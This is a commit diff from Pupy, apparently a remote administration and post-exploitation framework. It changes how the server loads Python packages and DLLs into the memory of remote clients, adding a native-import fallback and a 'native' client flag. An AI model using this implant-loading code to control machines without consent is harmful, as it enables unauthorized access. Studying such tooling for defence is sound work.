Speedup packages loading. Also try local packages for non-clients

This commit is contained in:
Oleksii Shevchuk 2017-01-06 17:24:17 +02:00
parent e58c910493
commit 7dbfb5ae98
4 changed files with 27 additions and 4 deletions

View File

@ -65,6 +65,9 @@ def pupy_add_package(pkdic):
modules.update(module)
def native_import(name):
__import__(name)
class PupyPackageLoader:
def __init__(self, fullname, contents, extension, is_pkg, path):
self.fullname = fullname

View File

@ -261,6 +261,10 @@ class PupyClient(object):
For other platforms : loading .so in memory is not supported yet.
"""
# start path should only use "/" as separator
if module_name in self.conn.modules.sys.modules and not force:
return
start_path=module_name.replace(".", "/")
package_found=False
package_path=None
@ -284,8 +288,19 @@ class PupyClient(object):
raise PupyModuleError("Error while loading package from sys.path %s : %s"%(module_name, traceback.format_exc()))
if "pupyimporter" not in self.conn.modules.sys.modules:
raise PupyModuleError("pupyimporter module does not exists on the remote side !")
if not modules_dic:
raise PupyModuleError("Couldn't load package %s : no such file or directory neither in \(path=%s) or sys.path"%(module_name,repr(self.get_packages_path())))
if self.desc['native']:
raise PupyModuleError("Couldn't find package {} in \(path={}) and sys.path / native".format(
module_name, repr(self.get_packages_path())))
else:
try:
self.conn.modules.pupyimporter.native_import(module_name)
except Exception as e:
raise PupyModuleError("Couldn't find package {} in \(path={}) and sys.path / python = {}".format(
module_name, repr(self.get_packages_path()), e))
if force or ( module_name not in self.conn.modules.sys.modules ):
self.conn.modules.pupyimporter.pupy_add_package(cPickle.dumps(modules_dic)) # we have to pickle the dic for two reasons : because the remote side is not aut0horized to iterate/access to the dictionary declared on this side and because it is more efficient
logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
@ -293,6 +308,7 @@ class PupyClient(object):
self.conn.modules.sys.modules.pop(module_name)
logging.debug("package removed from sys.modules to force reloading")
return True
return False
def run_module(self, module_name, args):

View File

@ -108,12 +108,15 @@ class PupyModule(object):
def import_dependencies(self):
if type(self.dependencies) == dict:
dependencies = self.dependencies.get('all', []) + \
self.dependencies.get(self.client.platform, [])
dependencies = self.dependencies.get(self.client.platform, []) + \
self.dependencies.get('all', [])
else:
dependencies = self.dependencies
for d in dependencies:
if d.lower().endswith('.dll'):
self.client.load_dll(d)
else:
self.client.load_package(d)
def init_argparse(self):

View File

@ -111,6 +111,7 @@ class PupyServer(threading.Thread):
"launcher_args" : obtain(conn.get_infos("launcher_args")),
"transport" : obtain(conn.get_infos("transport")),
"daemonize" : (True if obtain(conn.get_infos("daemonize")) else False),
"native": conn.get_infos("native"),
}
client_info.update(l)
pc=PupyClient.PupyClient(client_info, self)